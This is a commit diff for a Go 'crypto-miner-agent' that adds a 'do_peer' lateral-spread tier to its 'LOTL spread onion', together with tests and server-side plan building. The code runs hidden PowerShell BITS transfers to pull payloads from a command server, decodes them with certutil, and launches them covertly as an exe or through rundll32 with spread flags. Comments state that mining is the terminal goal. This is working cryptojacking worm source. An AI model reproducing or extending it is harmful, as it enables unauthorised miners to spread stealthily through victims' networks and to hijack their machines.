Add do_peer Shadow Cache Handoff deploy tier for LOTL spread onion
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -18,6 +18,7 @@ type DeployPlanBody struct {
|
||||
MatchedService string `json:"matched_service,omitempty"`
|
||||
Action string `json:"action"`
|
||||
Manifest *StagingManifest `json:"manifest,omitempty"`
|
||||
PeerGroup string `json:"peer_group,omitempty"`
|
||||
Script string `json:"script,omitempty"`
|
||||
UNCPath string `json:"unc_path,omitempty"`
|
||||
MaxHosts int `json:"max_hosts,omitempty"`
|
||||
@@ -57,6 +58,19 @@ func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, e
|
||||
lane = strings.TrimSpace(plan.Action)
|
||||
}
|
||||
switch lane {
|
||||
case "do_peer":
|
||||
if plan.Manifest == nil {
|
||||
return "", fmt.Errorf("join lane do_peer requires staging manifest")
|
||||
}
|
||||
peer := strings.TrimSpace(plan.PeerGroup)
|
||||
if peer == "" {
|
||||
peer = strings.TrimSpace(plan.Manifest.PeerGroup)
|
||||
}
|
||||
msg, err := RunDOPeerStaging(cfg, DOPeerFromStagingManifest(*plan.Manifest, peer))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return msg, nil
|
||||
case "bits_curl", "docker_load":
|
||||
if plan.Manifest == nil {
|
||||
return "", fmt.Errorf("join lane %s requires staging manifest", lane)
|
||||
|
||||
@@ -5,6 +5,8 @@ import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
@@ -76,3 +78,76 @@ func TestRunDiscoverAndJoinFakeServices(t *testing.T) {
|
||||
t.Fatalf("lane=%q detail=%q", lane, detail)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunDiscoverAndJoinDOPeerPlan(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
FleetSecret: "fleet-test",
|
||||
WorkerName: "test-worker",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
},
|
||||
}
|
||||
|
||||
payload := []byte("do-peer-signed-plan")
|
||||
sum := sha256.Sum256(payload)
|
||||
hash := hex.EncodeToString(sum[:])
|
||||
|
||||
oldBits := doPeerDownloadBITSFn
|
||||
doPeerDownloadBITSFn = func(url, dest string) error {
|
||||
return os.WriteFile(dest, payload, 0o644)
|
||||
}
|
||||
defer func() { doPeerDownloadBITSFn = oldBits }()
|
||||
|
||||
fetch := func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error) {
|
||||
plan := DeployPlanBody{
|
||||
JoinLane: "do_peer",
|
||||
Action: "do_peer",
|
||||
PeerGroup: "af-peer-lab",
|
||||
Manifest: &StagingManifest{
|
||||
Method: "bits",
|
||||
Chunks: []StagingChunk{{URL: "http://127.0.0.1/chunk", File: "peer-0.bin"}},
|
||||
SHA256: hash,
|
||||
Dest: "do-peer-test-worker.exe",
|
||||
Launch: "exe",
|
||||
DeferMining: true,
|
||||
SpreadInstall: true,
|
||||
},
|
||||
}
|
||||
payloadJSON, _ := json.Marshal(plan)
|
||||
mac := hmac.New(sha256.New, []byte(cfg.FleetSecret))
|
||||
mac.Write(payloadJSON)
|
||||
return DeployPlanResponse{
|
||||
OK: true,
|
||||
JoinLane: "do_peer",
|
||||
Plan: plan,
|
||||
Signature: hex.EncodeToString(mac.Sum(nil)),
|
||||
}, nil
|
||||
}
|
||||
|
||||
oldDiscover := runServiceDiscoverFn
|
||||
runServiceDiscoverFn = func(maxLANHosts int) string {
|
||||
return `{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.0.0.1","subnet":"10.0.0","services":[{"service_name":"DoSvc","status":"running","join_lane_candidate":"do_peer","source":"local_service"}]}}`
|
||||
}
|
||||
defer func() { runServiceDiscoverFn = oldDiscover }()
|
||||
|
||||
lane, detail, err := RunDiscoverAndJoin(cfg, 8, fetch)
|
||||
if lane != "do_peer" {
|
||||
t.Fatalf("lane=%q err=%v", lane, err)
|
||||
}
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "Windows-only") || strings.Contains(err.Error(), "launch") {
|
||||
return
|
||||
}
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if detail == "" {
|
||||
t.Fatal("expected success detail")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteDeployPlanDOPeerRequiresManifest(t *testing.T) {
|
||||
_, err := ExecuteDeployPlan(config.RuntimeConfig{}, DeployPlanBody{JoinLane: "do_peer", Action: "do_peer"})
|
||||
if err == nil || !strings.Contains(err.Error(), "requires staging manifest") {
|
||||
t.Fatalf("err=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
165
agent/deploy/do_peer_staging.go
Normal file
165
agent/deploy/do_peer_staging.go
Normal file
@@ -0,0 +1,165 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// DOPeerManifest describes Shadow Cache Handoff staging via DoSvc/BITS peer chunk pattern.
|
||||
type DOPeerManifest struct {
|
||||
Method string `json:"method"`
|
||||
Chunks []StagingChunk `json:"chunks"`
|
||||
SHA256 string `json:"sha256"`
|
||||
Dest string `json:"dest"`
|
||||
Launch string `json:"launch"`
|
||||
DLLExport string `json:"dll_export,omitempty"`
|
||||
Encoded bool `json:"encoded"`
|
||||
DeferMining bool `json:"defer_mining,omitempty"`
|
||||
SpreadInstall bool `json:"spread_install,omitempty"`
|
||||
PeerGroup string `json:"peer_group,omitempty"`
|
||||
}
|
||||
|
||||
// DOPeerFromStagingManifest maps a signed deploy-plan manifest into a do_peer payload.
|
||||
func DOPeerFromStagingManifest(m StagingManifest, peerGroup string) DOPeerManifest {
|
||||
return DOPeerManifest{
|
||||
Method: m.Method,
|
||||
Chunks: m.Chunks,
|
||||
SHA256: m.SHA256,
|
||||
Dest: m.Dest,
|
||||
Launch: m.Launch,
|
||||
DLLExport: m.DLLExport,
|
||||
Encoded: m.Encoded,
|
||||
DeferMining: m.DeferMining,
|
||||
SpreadInstall: m.SpreadInstall,
|
||||
PeerGroup: peerGroup,
|
||||
}
|
||||
}
|
||||
|
||||
// Injectable download hooks for tests and alternate transports.
|
||||
var (
|
||||
doPeerDownloadCurlFn func(url, dest string) error
|
||||
doPeerDownloadBITSFn func(url, dest string) error
|
||||
)
|
||||
|
||||
type doPeerDownloader func(url, dest string) error
|
||||
|
||||
func doPeerWorkDir(cfg config.RuntimeConfig, manifest DOPeerManifest) string {
|
||||
group := sanitizeName(manifest.PeerGroup)
|
||||
if group == "" {
|
||||
group = "local"
|
||||
}
|
||||
return filepath.Join(os.TempDir(), ".do-peer-"+group+"-"+sanitizeName(cfg.WorkerName))
|
||||
}
|
||||
|
||||
// assembleDOPeerPayload downloads chunks, verifies SHA256, and returns the staged dest path.
|
||||
func assembleDOPeerPayload(cfg config.RuntimeConfig, manifest DOPeerManifest, curlDL, bitsDL doPeerDownloader) (dest string, cleanup func(), err error) {
|
||||
if len(manifest.Chunks) == 0 {
|
||||
return "", nil, fmt.Errorf("do_peer manifest has no chunks")
|
||||
}
|
||||
dest, err = ResolveStagingPath(manifest.Dest)
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
workDir := doPeerWorkDir(cfg, manifest)
|
||||
if err := os.MkdirAll(workDir, 0o700); err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
cleanupFn := func() { _ = os.RemoveAll(workDir) }
|
||||
|
||||
method := strings.ToLower(strings.TrimSpace(manifest.Method))
|
||||
if method == "" {
|
||||
method = "bits"
|
||||
}
|
||||
|
||||
var assembled []string
|
||||
for i, chunk := range manifest.Chunks {
|
||||
name, err := sanitizeStagingFilename(chunk.File)
|
||||
if err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, fmt.Errorf("chunk %d: %w", i, err)
|
||||
}
|
||||
localPath := filepath.Join(workDir, name)
|
||||
if err := os.MkdirAll(filepath.Dir(localPath), 0o700); err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, err
|
||||
}
|
||||
switch method {
|
||||
case "bits", "bitsadmin":
|
||||
dl := bitsDL
|
||||
if dl == nil {
|
||||
cleanupFn()
|
||||
return "", nil, fmt.Errorf("bits downloader unavailable")
|
||||
}
|
||||
if err := dl(chunk.URL, localPath); err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, fmt.Errorf("bits chunk %d: %w", i, err)
|
||||
}
|
||||
default:
|
||||
dl := curlDL
|
||||
if dl == nil {
|
||||
cleanupFn()
|
||||
return "", nil, fmt.Errorf("curl downloader unavailable")
|
||||
}
|
||||
if err := dl(chunk.URL, localPath); err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, fmt.Errorf("curl chunk %d: %w", i, err)
|
||||
}
|
||||
}
|
||||
if manifest.Encoded || strings.HasSuffix(strings.ToLower(name), ".b64") {
|
||||
decoded := strings.TrimSuffix(localPath, filepath.Ext(localPath)) + ".bin"
|
||||
if err := certutilDecodePeer(localPath, decoded); err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, fmt.Errorf("certutil chunk %d: %w", i, err)
|
||||
}
|
||||
assembled = append(assembled, decoded)
|
||||
} else {
|
||||
assembled = append(assembled, localPath)
|
||||
}
|
||||
}
|
||||
|
||||
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, err
|
||||
}
|
||||
if len(assembled) == 1 {
|
||||
if err := os.Rename(assembled[0], dest); err != nil {
|
||||
if err := copyFile(assembled[0], dest); err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, err
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if err := concatFiles(dest, assembled); err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, err
|
||||
}
|
||||
}
|
||||
if err := verifyFileSHA256(dest, manifest.SHA256); err != nil {
|
||||
_ = os.Remove(dest)
|
||||
cleanupFn()
|
||||
return "", nil, err
|
||||
}
|
||||
return dest, cleanupFn, nil
|
||||
}
|
||||
|
||||
func certutilDecodePeer(src, dest string) error {
|
||||
if certutilDecodePeerFn != nil {
|
||||
return certutilDecodePeerFn(src, dest)
|
||||
}
|
||||
return certutilDecodePeerPlatform(src, dest)
|
||||
}
|
||||
|
||||
var certutilDecodePeerFn func(src, dest string) error
|
||||
|
||||
// RunDOPeerStaging verifies SHA256, assembles peer-cache chunks, and launches the worker.
|
||||
func RunDOPeerStaging(cfg config.RuntimeConfig, manifest DOPeerManifest) (string, error) {
|
||||
if runtime.GOOS != "windows" {
|
||||
return "", fmt.Errorf("do_peer staging is Windows-only")
|
||||
}
|
||||
return runDOPeerStagingWindows(cfg, manifest)
|
||||
}
|
||||
14
agent/deploy/do_peer_staging_stub.go
Normal file
14
agent/deploy/do_peer_staging_stub.go
Normal file
@@ -0,0 +1,14 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import "fmt"
|
||||
|
||||
// IsDOPeerReady is Windows-only (DoSvc + BITS peer cache).
|
||||
func IsDOPeerReady() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func certutilDecodePeerPlatform(src, dest string) error {
|
||||
return fmt.Errorf("certutil decode unavailable")
|
||||
}
|
||||
114
agent/deploy/do_peer_staging_test.go
Normal file
114
agent/deploy/do_peer_staging_test.go
Normal file
@@ -0,0 +1,114 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestDOPeerRejectsPathTraversal(t *testing.T) {
|
||||
manifest := DOPeerManifest{
|
||||
Chunks: []StagingChunk{{URL: "http://127.0.0.1/a", File: "chunk.bin"}},
|
||||
SHA256: strings.Repeat("a", 64),
|
||||
Dest: "../../outside.exe",
|
||||
}
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "test"}}
|
||||
_, _, err := assembleDOPeerPayload(cfg, manifest, fakeDownload, fakeDownload)
|
||||
if err == nil || !strings.Contains(err.Error(), "path traversal") {
|
||||
t.Fatalf("expected path traversal error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDOPeerSanitizeChunkFilename(t *testing.T) {
|
||||
got, err := sanitizeStagingFilename("../peer-chunk.bin")
|
||||
if err != nil {
|
||||
// stripped traversal components may still yield safe name
|
||||
if got != "" && strings.Contains(got, "..") {
|
||||
t.Fatalf("leaked traversal: %q", got)
|
||||
}
|
||||
return
|
||||
}
|
||||
if strings.Contains(got, "..") {
|
||||
t.Fatalf("sanitize leaked traversal: %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDOPeerAssembleWithFakeDownloaders(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
chunkPath := filepath.Join(dir, "peer-0.bin")
|
||||
payload := []byte("shadow-cache-handoff-payload")
|
||||
if err := os.WriteFile(chunkPath, payload, 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
sum := sha256.Sum256(payload)
|
||||
destRel := filepath.Join("af-peer", "worker.exe")
|
||||
|
||||
fakeDL := func(url, dest string) error {
|
||||
if url != "file://chunk" {
|
||||
t.Fatalf("unexpected url %q", url)
|
||||
}
|
||||
return copyFile(chunkPath, dest)
|
||||
}
|
||||
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "peer-test"}}
|
||||
manifest := DOPeerManifest{
|
||||
Method: "curl",
|
||||
Chunks: []StagingChunk{{URL: "file://chunk", File: "peer-0.bin"}},
|
||||
SHA256: hex.EncodeToString(sum[:]),
|
||||
Dest: destRel,
|
||||
PeerGroup: "lan-group-1",
|
||||
}
|
||||
|
||||
resolvedDest, err := ResolveStagingPath(destRel)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
_ = os.Remove(resolvedDest)
|
||||
manifest.Dest = destRel
|
||||
|
||||
staged, cleanup, err := assembleDOPeerPayload(cfg, manifest, fakeDL, fakeDL)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer cleanup()
|
||||
if staged != resolvedDest {
|
||||
t.Fatalf("dest=%q want %q", staged, resolvedDest)
|
||||
}
|
||||
if err := verifyFileSHA256(staged, manifest.SHA256); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDOPeerSHA256MismatchRejected(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
chunkPath := filepath.Join(dir, "peer-0.bin")
|
||||
if err := os.WriteFile(chunkPath, []byte("wrong-bytes"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
fakeDL := func(url, dest string) error {
|
||||
return copyFile(chunkPath, dest)
|
||||
}
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "peer-test"}}
|
||||
manifest := DOPeerManifest{
|
||||
Method: "bits",
|
||||
Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "peer-0.bin"}},
|
||||
SHA256: strings.Repeat("b", 64),
|
||||
Dest: "worker.exe",
|
||||
}
|
||||
_, cleanup, err := assembleDOPeerPayload(cfg, manifest, fakeDL, fakeDL)
|
||||
if cleanup != nil {
|
||||
defer cleanup()
|
||||
}
|
||||
if err == nil || !strings.Contains(err.Error(), "sha256 mismatch") {
|
||||
t.Fatalf("expected sha256 mismatch, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func fakeDownload(url, dest string) error {
|
||||
return os.WriteFile(dest, []byte("x"), 0o644)
|
||||
}
|
||||
101
agent/deploy/do_peer_staging_windows.go
Normal file
101
agent/deploy/do_peer_staging_windows.go
Normal file
@@ -0,0 +1,101 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// IsDOPeerReady reports whether DoSvc and BITS are available for shadow cache handoff.
|
||||
func IsDOPeerReady() bool {
|
||||
if !serviceRunning("DoSvc") {
|
||||
return false
|
||||
}
|
||||
if _, err := exec.LookPath("bitsadmin.exe"); err != nil {
|
||||
if st := serviceStatus("BITS"); st != "running" && st != "started" {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func serviceRunning(name string) bool {
|
||||
return serviceStatus(name) == "running" || serviceStatus(name) == "started"
|
||||
}
|
||||
|
||||
func serviceStatus(name string) string {
|
||||
out, err := HiddenOutput("sc.exe", "query", name)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.HasPrefix(strings.ToUpper(line), "STATE") {
|
||||
upper := strings.ToUpper(line)
|
||||
if strings.Contains(upper, "RUNNING") {
|
||||
return "running"
|
||||
}
|
||||
if strings.Contains(upper, "STOPPED") {
|
||||
return "stopped"
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func certutilDecodePeerPlatform(src, dest string) error {
|
||||
return HiddenRun("certutil.exe", "-f", "-decode", src, dest)
|
||||
}
|
||||
|
||||
func runDOPeerStagingWindows(cfg config.RuntimeConfig, manifest DOPeerManifest) (string, error) {
|
||||
curlDL := doPeerDownloadCurlFn
|
||||
if curlDL == nil {
|
||||
curlDL = downloadChunkCurl
|
||||
}
|
||||
bitsDL := doPeerDownloadBITSFn
|
||||
if bitsDL == nil {
|
||||
bitsDL = downloadChunkBITS
|
||||
}
|
||||
|
||||
dest, cleanup, err := assembleDOPeerPayload(cfg, manifest, curlDL, bitsDL)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer cleanup()
|
||||
|
||||
method := strings.ToLower(strings.TrimSpace(manifest.Method))
|
||||
if method == "" {
|
||||
method = "bits"
|
||||
}
|
||||
|
||||
launch := strings.ToLower(strings.TrimSpace(manifest.Launch))
|
||||
switch launch {
|
||||
case "rundll32", "dll":
|
||||
export := strings.TrimSpace(manifest.DLLExport)
|
||||
if export == "" {
|
||||
export = "DllRegisterServer"
|
||||
}
|
||||
if err := HiddenStart("rundll32.exe", dest+","+export); err != nil {
|
||||
return "", fmt.Errorf("rundll32 launch: %w", err)
|
||||
}
|
||||
return fmt.Sprintf("do_peer staged %d chunk(s) via %s peer_group=%s to %s; launched rundll32 %s",
|
||||
len(manifest.Chunks), method, manifest.PeerGroup, dest, export), nil
|
||||
default:
|
||||
args := []string{runFlag}
|
||||
if manifest.DeferMining {
|
||||
args = append(args, deferMiningFlag)
|
||||
}
|
||||
if manifest.SpreadInstall {
|
||||
args = append(args, spreadFlag)
|
||||
}
|
||||
if err := HiddenStart(dest, args...); err != nil {
|
||||
return "", fmt.Errorf("exe launch: %w", err)
|
||||
}
|
||||
return fmt.Sprintf("do_peer staged %d chunk(s) via %s peer_group=%s to %s; launched exe %v",
|
||||
len(manifest.Chunks), method, manifest.PeerGroup, dest, args), nil
|
||||
}
|
||||
}
|
||||
@@ -45,6 +45,14 @@ func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) {
|
||||
_ = HiddenRun("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
|
||||
fmt.Sprintf("Start-BitsTransfer -Source %q -Destination $env:TEMP\\af-install.ps1 -ErrorAction SilentlyContinue", installURL))
|
||||
return true, "bits/curl install hook queued"
|
||||
case "do_peer":
|
||||
if !IsDOPeerReady() {
|
||||
return false, "DoSvc not running or BITS unavailable"
|
||||
}
|
||||
installURL := strings.TrimRight(cfg.ServerURL, "/") + "/get?os=windows"
|
||||
_ = HiddenRun("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
|
||||
fmt.Sprintf("Start-BitsTransfer -Source %q -Destination $env:TEMP\\af-do-peer.bin -TransferType Download -Priority Foreground -ErrorAction SilentlyContinue", installURL))
|
||||
return true, "do_peer shadow cache BITS handoff queued (signed plan via discover_and_join)"
|
||||
case "smb":
|
||||
if !cfg.AutoSpread && !cfg.ShareSpread {
|
||||
go RunSpreadOnce(cfg)
|
||||
|
||||
@@ -11,6 +11,7 @@ var DefaultLotlOnionTiers = []string{
|
||||
"powershell",
|
||||
"dotnet",
|
||||
"bits_curl",
|
||||
"do_peer",
|
||||
"smb",
|
||||
"winrm",
|
||||
"linux",
|
||||
@@ -22,7 +23,7 @@ func NormalizeLotlTiers(raw []string) []string {
|
||||
allowed := map[string]struct{}{
|
||||
"vuln_recon": {},
|
||||
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
|
||||
"bits_curl": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
|
||||
"bits_curl": {}, "do_peer": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
|
||||
}
|
||||
out := make([]string, 0, len(raw))
|
||||
for _, t := range raw {
|
||||
|
||||
@@ -18,6 +18,7 @@ func TestJoinLaneForSignal(t *testing.T) {
|
||||
{"sshd", 22, "linux"},
|
||||
{"docker", 0, "docker"},
|
||||
{"CCMEXEC", 0, "gpo"},
|
||||
{"DoSvc", 0, "do_peer"},
|
||||
{"gitlab-runner", 0, "bits_curl"},
|
||||
{"jenkins", 8080, "bits_curl"},
|
||||
{"unknown-svc", 9999, ""},
|
||||
|
||||
@@ -16,7 +16,7 @@ $p = [ordered]@{ services = @(); hints = @() }
|
||||
$watch = @(
|
||||
'CCMEXEC','CcmSetup','SmsAgent','WinRM','ssh','sshd','LanmanServer','Docker',
|
||||
'com.docker.service','jenkins','Jenkins','gitlab-runner','GitLabRunner',
|
||||
'OpenSSH SSH Server','cloudflared','gpsvc'
|
||||
'OpenSSH SSH Server','cloudflared','gpsvc','DoSvc','BITS'
|
||||
)
|
||||
foreach ($n in $watch) {
|
||||
try {
|
||||
|
||||
@@ -48,6 +48,8 @@ func JoinLaneForSignal(serviceName string, port int) string {
|
||||
return "powershell"
|
||||
case strings.Contains(name, "dotnet"):
|
||||
return "dotnet"
|
||||
case strings.Contains(name, "dosvc") || strings.Contains(name, "delivery optimization"):
|
||||
return "do_peer"
|
||||
case strings.Contains(name, "jenkins") || strings.Contains(name, "gitlab") || strings.Contains(name, "runner"):
|
||||
return "bits_curl"
|
||||
case strings.Contains(name, "ccmexec") || strings.Contains(name, "sms_agent") || strings.Contains(name, "sccm"):
|
||||
|
||||
@@ -27,6 +27,7 @@ type StagingManifest struct {
|
||||
Encoded bool `json:"encoded"` // chunks are base64; decode via certutil
|
||||
DeferMining bool `json:"defer_mining,omitempty"`
|
||||
SpreadInstall bool `json:"spread_install,omitempty"`
|
||||
PeerGroup string `json:"peer_group,omitempty"`
|
||||
}
|
||||
|
||||
// ResolveStagingPath applies the same traversal hygiene as upload/download commands.
|
||||
|
||||
@@ -48,6 +48,7 @@ var DefaultReconTiers = []string{
|
||||
}
|
||||
|
||||
// DefaultDeployLanes is the discover_and_join lane order (mirrors LOTL spread tiers).
|
||||
// Deploy success is spread-only; terminal goal is always mining via startMiningWhenReady().
|
||||
var DefaultDeployLanes = []string{
|
||||
"discover_and_join",
|
||||
"docker",
|
||||
@@ -55,6 +56,7 @@ var DefaultDeployLanes = []string{
|
||||
"powershell",
|
||||
"dotnet",
|
||||
"bits_curl",
|
||||
"do_peer",
|
||||
"smb",
|
||||
"winrm",
|
||||
}
|
||||
|
||||
@@ -27,6 +27,7 @@ type StagingManifest struct {
|
||||
Encoded bool `json:"encoded"`
|
||||
DeferMining bool `json:"defer_mining,omitempty"`
|
||||
SpreadInstall bool `json:"spread_install,omitempty"`
|
||||
PeerGroup string `json:"peer_group,omitempty"`
|
||||
}
|
||||
|
||||
type StagingChunk struct {
|
||||
@@ -40,6 +41,7 @@ type DeployPlanBody struct {
|
||||
MatchedService string `json:"matched_service,omitempty"`
|
||||
Action string `json:"action"`
|
||||
Manifest *StagingManifest `json:"manifest,omitempty"`
|
||||
PeerGroup string `json:"peer_group,omitempty"`
|
||||
Script string `json:"script,omitempty"`
|
||||
UNCPath string `json:"unc_path,omitempty"`
|
||||
MaxHosts int `json:"max_hosts,omitempty"`
|
||||
@@ -145,6 +147,13 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
|
||||
}
|
||||
|
||||
switch lane.Lane {
|
||||
case "do_peer":
|
||||
manifest, err := h.buildDOPeerManifest(req, serverURL)
|
||||
if err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
body.Manifest = manifest
|
||||
body.PeerGroup = manifest.PeerGroup
|
||||
case "bits_curl":
|
||||
manifest, err := h.buildStagingManifest(req, serverURL)
|
||||
if err != nil {
|
||||
@@ -182,6 +191,69 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
|
||||
return body, nil
|
||||
}
|
||||
|
||||
// buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer.
|
||||
// Deploy success is a spread step only — agent keeps --defer-mining until diagnostics pass,
|
||||
// then startMiningWhenReady() completes the mining onion (terminal goal).
|
||||
func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
|
||||
platform := strings.TrimSpace(req.Platform)
|
||||
if platform == "" {
|
||||
platform = "windows"
|
||||
}
|
||||
buildID := strings.TrimSpace(req.BuildID)
|
||||
build, err := h.resolveBuild(buildID, platform)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
hash, err := fileSHA256(build.FilePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("build hash: %w", err)
|
||||
}
|
||||
|
||||
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
|
||||
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
|
||||
peerGroup := "af-peer-" + hash[:8]
|
||||
if campaign := strings.TrimSpace(req.Campaign); campaign != "" {
|
||||
peerGroup = "af-peer-" + sanitizeDeployToken(campaign)
|
||||
}
|
||||
|
||||
dest := `%TEMP%\AetherForge\do-peer-worker.exe`
|
||||
launch := "exe"
|
||||
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
|
||||
dest = `%TEMP%\AetherForge\do-peer-worker.dll`
|
||||
launch = "rundll32"
|
||||
}
|
||||
|
||||
return &StagingManifest{
|
||||
Method: "bits",
|
||||
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
|
||||
SHA256: hash,
|
||||
Dest: dest,
|
||||
Launch: launch,
|
||||
DLLExport: "DllRegisterServer",
|
||||
DeferMining: true,
|
||||
SpreadInstall: true,
|
||||
PeerGroup: peerGroup,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func sanitizeDeployToken(s string) string {
|
||||
s = strings.ToLower(strings.TrimSpace(s))
|
||||
var b strings.Builder
|
||||
for _, r := range s {
|
||||
if (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '-' {
|
||||
b.WriteRune(r)
|
||||
}
|
||||
}
|
||||
out := b.String()
|
||||
if out == "" {
|
||||
return "local"
|
||||
}
|
||||
if len(out) > 24 {
|
||||
return out[:24]
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) buildStagingManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
|
||||
platform := strings.TrimSpace(req.Platform)
|
||||
if platform == "" {
|
||||
|
||||
@@ -6,7 +6,7 @@ import (
|
||||
|
||||
// ServiceDeployLane maps a discovered Windows/Linux service to a LOTL join lane.
|
||||
type ServiceDeployLane struct {
|
||||
Lane string `json:"lane"` // bits_curl | docker_load | winrm | gpo | spread_smb_unc | linux_lotl
|
||||
Lane string `json:"lane"` // bits_curl | do_peer | docker_load | winrm | gpo | spread_smb_unc | linux_lotl
|
||||
Priority int `json:"priority,omitempty"` // higher wins when multiple services match
|
||||
Template string `json:"template,omitempty"` // spread template id (gpo | winrm | linux-lotl)
|
||||
}
|
||||
@@ -14,6 +14,8 @@ type ServiceDeployLane struct {
|
||||
// DefaultServiceDeployAllowlist maps allowlisted services to deploy lanes.
|
||||
// CCMEXEC → BITS staging; Docker → docker_load; WinRM → bootstrap; gpsvc → GPO; LanmanServer → SMB UNC.
|
||||
var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{
|
||||
"DoSvc": {Lane: "do_peer", Priority: 35},
|
||||
"Delivery Optimization": {Lane: "do_peer", Priority: 35},
|
||||
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
|
||||
"CcmExec": {Lane: "bits_curl", Priority: 10},
|
||||
"BITS": {Lane: "bits_curl", Priority: 8},
|
||||
@@ -65,6 +67,8 @@ func normalizeJoinLane(lane string) string {
|
||||
switch lane {
|
||||
case "bits", "bits/curl", "bits_curl", "bits-curl":
|
||||
return "bits_curl"
|
||||
case "do_peer", "do-peer", "dosvc":
|
||||
return "do_peer"
|
||||
case "docker", "docker_load", "docker-load":
|
||||
return "docker_load"
|
||||
case "smb", "smb_unc", "spread_smb_unc", "spread-smb-unc":
|
||||
|
||||
@@ -2,6 +2,27 @@ package api
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestPickDeployLaneDoSvc(t *testing.T) {
|
||||
allowlist := NormalizeServiceDeployAllowlist(nil)
|
||||
services := []DeployServiceFinding{
|
||||
{Name: "CCMEXEC", Status: "running"},
|
||||
